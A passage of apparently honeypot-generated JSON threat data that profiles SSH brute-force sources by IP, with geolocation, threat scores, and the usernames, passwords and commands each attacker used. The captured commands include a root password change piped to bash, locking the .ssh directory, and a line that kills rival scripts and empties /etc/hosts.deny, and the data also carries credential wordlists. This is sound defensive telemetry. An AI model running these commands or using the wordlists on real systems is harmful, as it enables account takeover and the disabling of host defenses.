        "postgres",
        "345gs5662d34",
        "steam",
        "test",
        "user",
        "deploy",
        "dev",
        "ec2-user",
        "frappe",
        "github",
        "hadoopuser",
        "n8n",
        "odoo",
        "oracle",
        "root/123456",
        "server",
        "smbuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123QWEqwe",
        "123123",
        "1234",
        "123456",
        "1qwerty",
        "A123456LEX",
        "AA123123",
        "Aa888888",
        "Admin#2025",
        "Claude03",
        "Claude05",
        "Claude24",
        "Dev22",
        "Frappe",
        "Jh123456",
        "N8n09",
        "Oracle!2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "crontab -l",
        "echo \"postgres$\\nvb32IgtxLK0Z\\nvb32IgtxLK0Z\\n\"|passwd",
        "echo \"root:ZEXcXJNiuxpV\"|chpasswd|bash",
        "echo -e \"postgres$\\nvb32IgtxLK0Z\\nvb32IgtxLK0Z\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T23:52:55.330000+00:00",
        "last_seen_30d": "2026-04-20T06:00:37.633000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 122
      }
    },
    "41.181.156.205": {
      "attack_count": 373,
      "first_seen": "2026-04-07T11:33:20.859Z",
      "last_seen": "2026-04-21T12:10:59.971Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "mike",
        "test",
        "ali",
        "claude",
        "foundry",
        "ftp-test",
        "game",
        "git",
        "jirka",
        "minecraft",
        "pivpn",
        "postgres",
        "qwe",
        "sammy",
        "smbuser",
        "socks",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1024",
        "123123",
        "123321",
        "1234",
        "123456",
        "12345678",
        "123@ZXCV",
        "123qwe!!!",
        "1QAZ@2wsx",
        "1qaz@WSX3edc$RFV",
        "336699",
        "AAaa123123",
        "AAzz123123",
        "Aa123456*",
        "Ali!@",
        "Apple2025",
        "Bot17!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mike2026\\nYrZrY5vcM2lZ\\nYrZrY5vcM2lZ\\n\"|passwd",
        "echo -e \"mike2026\\nYrZrY5vcM2lZ\\nYrZrY5vcM2lZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Germiston",
      "asn": 16637,
      "as_org": "MTN Business Solutions",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T11:33:20.859000+00:00",
        "last_seen_30d": "2026-04-21T12:12:06.653000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 131
      }
    },
    "185.40.30.168": {
      "attack_count": 331,
      "first_seen": "2026-04-14T12:37:29.779Z",
      "last_seen": "2026-04-14T13:14:58.554Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "carl",
        "deploy",
        "odoo",
        "postgres",
        "sbbs",
        "sebastian",
        "server",
        "testsite",
        "webftp",
        "wolli"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "123456",
        "123456zxc",
        "1q2w3e4r!@#$",
        "@wsx3edc",
        "ASDF@123",
        "Odoo!",
        "Postgres2026",
        "Qazwsx6666!@",
        "Root01@123",
        "Root12..",
        "Server12",
        "W3lc0m3",
        "a12345678z",
        "abcd1234#",
        "ccAA112233",
        "frappe14",
        "odoo25!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qwerty\\nGelOg2pI3xOM\\nGelOg2pI3xOM\\n\"|passwd",
        "echo \"root:MUA6HRUXWt9E\"|chpasswd|bash",
        "echo \"test\\n6ZRkzQ45GqWb\\n6ZRkzQ45GqWb\\n\"|passwd",
        "echo -e \"qwerty\\nGelOg2pI3xOM\\nGelOg2pI3xOM\"|passwd|bash",
        "echo -e \"test\\n6ZRkzQ45GqWb\\n6ZRkzQ45GqWb\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 61400,
      "as_org": "Start2 LLC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T12:37:29.779000+00:00",
        "last_seen_30d": "2026-04-14T13:15:59.505000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 69
      }
    },
    "27.79.6.68": {
      "attack_count": 315,
      "first_seen": "2026-04-07T06:33:08.132Z",
      "last_seen": "2026-04-07T06:57:49.053Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "123456",
        "ace",
        "admian",
        "ashish",
        "cf1c22",
        "client",
        "db2inst2",
        "developer",
        "ftp_zsd",
        "helpdesk",
        "install",
        "joggler",
        "kim",
        "mysql",
        "newadmin",
        "open",
        "pizza"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1",
        "1111",
        "112233",
        "1234",
        "12345678",
        "123456789",
        "abc123",
        "ace",
        "admin",
        "admin1",
        "admin123",
        "admin1234",
        "administrator",
        "andrew",
        "ashish",
        "bananapi",
        "cf1c22",
        "db2inst2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 476,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:33:08.132000+00:00",
        "last_seen_30d": "2026-04-07T06:58:58.930000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 315,
        "Suricata": 161
      }
    },
    "123.58.219.3": {
      "attack_count": 273,
      "first_seen": "2026-04-26T01:10:52.394Z",
      "last_seen": "2026-04-26T01:37:18.379Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "test",
        "345gs5662d34",
        "postgres",
        "ubuntu",
        "admin",
        "backend",
        "deployer",
        "hosting",
        "laura",
        "night",
        "teste",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "102025",
        "123123",
        "1234",
        "1234567",
        "A12345678",
        "A123456789**963",
        "A1234568",
        "Aa112211.",
        "AaAaAaAaAa12345",
        "Huawei@1234",
        "P@$$w0rd",
        "Password123!",
        "Test03!",
        "Yx123456",
        "ZAQ!2wsx2025$",
        "admin7",
        "asdfghjkl",
        "backend"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"102025\\nkrctlVFKYFIm\\nkrctlVFKYFIm\\n\"|passwd",
        "echo \"asdfghjkl\\nw1sUFzFayg8g\\nw1sUFzFayg8g\\n\"|passwd",
        "echo -e \"102025\\nkrctlVFKYFIm\\nkrctlVFKYFIm\"|passwd|bash",
        "echo -e \"asdfghjkl\\nw1sUFzFayg8g\\nw1sUFzFayg8g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T01:10:52.394000+00:00",
        "last_seen_30d": "2026-04-26T01:38:18.710000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 67
      }
    },
    "103.172.20.218": {
      "attack_count": 263,
      "first_seen": "2026-04-11T12:04:37.839Z",
      "last_seen": "2026-04-11T13:08:38.885Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ct",
        "newftpuser",
        "user",
        "admin",
        "deploy",
        "dev",
        "fiuser",
        "postgres",
        "sammy",
        "student",
        "teamspeak",
        "test",
        "testuser1",
        "ts3user",
        "user2",
        "user5"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "1",
        "1234_ASDF",
        "1qazxsw2!QAZXSW@",
        "999999",
        "Aa123321!",
        "Dev$",
        "Postgres4",
        "Qq123123",
        "QwertyQwerty123456",
        "admin2",
        "ct",
        "fiuser",
        "frappe18",
        "passw0rd",
        "root11111111@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nuy0C3xaQMDyk\\nuy0C3xaQMDyk\\n\"|passwd",
        "echo \"ct\\nmh8rdlfEidAe\\nmh8rdlfEidAe\\n\"|passwd",
        "echo -e \"1\\nuy0C3xaQMDyk\\nuy0C3xaQMDyk\"|passwd|bash",
        "echo -e \"ct\\nmh8rdlfEidAe\\nmh8rdlfEidAe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 142383,
      "as_org": "PT Vaiotech Lintas Nusantara",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:04:37.839000+00:00",
        "last_seen_30d": "2026-04-11T13:09:46.652000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "160.242.45.113": {
      "attack_count": 262,
      "first_seen": "2026-04-11T15:32:43.470Z",
      "last_seen": "2026-04-11T16:29:36.373Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "asdf",
        "bot",
        "hamed",
        "rc",
        "test",
        "ttest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "123",
        "123!@#asd",
        "9981",
        "A123456788",
        "A1234567893",
        "Admin1#",
        "Admin2026!@#",
        "Passw@rd",
        "Qazwsx!@",
        "Qazwsx12$",
        "QweAsd123",
        "Root1111111@123",
        "Root2019!@#",
        "Root2019..",
        "Welcome#1",
        "aabbcc123",
        "admin12@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Passw@rd\\nimlMbgGsobwz\\nimlMbgGsobwz\\n\"|passwd",
        "echo \"root:r5fdHMrBLxf1\"|chpasswd|bash",
        "echo -e \"Passw@rd\\nimlMbgGsobwz\\nimlMbgGsobwz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Namibia",
      "country_code": "NA",
      "city": "Windhoek",
      "asn": 33763,
      "as_org": "Paratus",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T15:32:43.470000+00:00",
        "last_seen_30d": "2026-04-11T16:30:43.106000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 70
      }
    },
    "157.66.34.121": {
      "attack_count": 261,
      "first_seen": "2026-04-17T23:28:17.384Z",
      "last_seen": "2026-04-18T00:07:41.631Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "ubuntu",
        "ali",
        "esuser",
        "ftpuser",
        "git",
        "novinhost",
        "sammy",
        "steam",
        "user"
      ],
      "passwords_attempted": [
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "123456-zxcv",
        "1234@abcd",
        "147258369",
        "1qaz@WSX#$",
        "Aa123456",
        "Claude09!",
        "P@ssw0rd1381",
        "QQxx000",
        "Sammy!@",
        "Steam2025",
        "ZAQ!2wsx2020#",
        "a12345677",
        "aa11223344",
        "abc1234567",
        "claude!@#",
        "esuser@2025",
        "novinhost.org"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:A4Bzr4irDoL7\"|chpasswd|bash",
        "echo \"root:fJbbMNqoTAVo\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55688,
      "as_org": "PT. Beon Intermedia",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:28:17.384000+00:00",
        "last_seen_30d": "2026-04-18T00:08:51.360000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 65
      }
    },
    "210.183.21.53": {
      "attack_count": 219,
      "first_seen": "2026-04-29T03:45:03.828Z",
      "last_seen": "2026-04-29T04:15:37.493Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "dev",
        "oracle",
        "testadmin",
        "user",
        "345gs5662d34",
        "centos",
        "cloud_user",
        "deploy",
        "develop",
        "es",
        "ftpadmin",
        "ftpuser",
        "guest",
        "nagios",
        "server",
        "steam",
        "www-data"
      ],
      "passwords_attempted": [
        "admin",
        "1010",
        "111111",
        "112233",
        "123123",
        "12345678",
        "123qweasdZXC",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "6264oracle",
        "Aa123123",
        "Parasol1",
        "abc12345",
        "admin#2023",
        "admin123",
        "admin2024@",
        "admin_2024",
        "cisco123",
        "develop"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"testadmin@123\\nZxv6rngLP12D\\nZxv6rngLP12D\\n\"|passwd",
        "echo -e \"testadmin@123\\nZxv6rngLP12D\\nZxv6rngLP12D\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Hwaseong-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T03:45:03.828000+00:00",
        "last_seen_30d": "2026-04-29T04:16:46.036000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "177.212.147.239": {
      "attack_count": 202,
      "first_seen": "2026-04-25T22:58:00.581Z",
      "last_seen": "2026-04-26T00:36:02.172Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "test1",
        "ubuntu",
        "345gs5662d34",
        "UBUNTU",
        "centos",
        "composeruser",
        "esunny",
        "frappe",
        "jenkins",
        "odoo",
        "samr",
        "webuser"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "123qwe",
        "123qwe!@QWE",
        "1qaz2WSX",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa102026",
        "Abcd1234..",
        "Bismillah1",
        "Frappe31",
        "La123456",
        "MoeClub.org",
        "P@ssw0rd",
        "abc.1234",
        "abc@123456",
        "composeruser",
        "developer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BJp8M1hhMnE3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Divin\u00f3polis",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:58:00.581000+00:00",
        "last_seen_30d": "2026-04-26T00:37:02.893000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 72
      }
    },
    "103.82.92.255": {
      "attack_count": 194,
      "first_seen": "2026-04-18T21:45:02.156Z",
      "last_seen": "2026-04-18T22:27:44.402Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "user",
        "vpn",
        "345gs5662d34",
        "arjun",
        "dev",
        "kyt",
        "lin",
        "monitoring",
        "singh",
        "suporte",
        "test12",
        "ww"
      ],
      "passwords_attempted": [
        "test#123",
        "1234",
        "123456",
        "1qaz1QAZ",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhn@123",
        "Dev17",
        "Passw0rd123!",
        "Qw123456.",
        "Qwe",
        "Root2",
        "Vpn!2025",
        "Vpn08",
        "ZAQ!2wsx2022#",
        "Zxcv@@",
        "arjun",
        "bbDD000",
        "kyt"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"321\\npZBj9TqnUhMW\\npZBj9TqnUhMW\\n\"|passwd",
        "echo -e \"321\\npZBj9TqnUhMW\\npZBj9TqnUhMW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:45:02.156000+00:00",
        "last_seen_30d": "2026-04-18T22:28:45.280000+00:00",
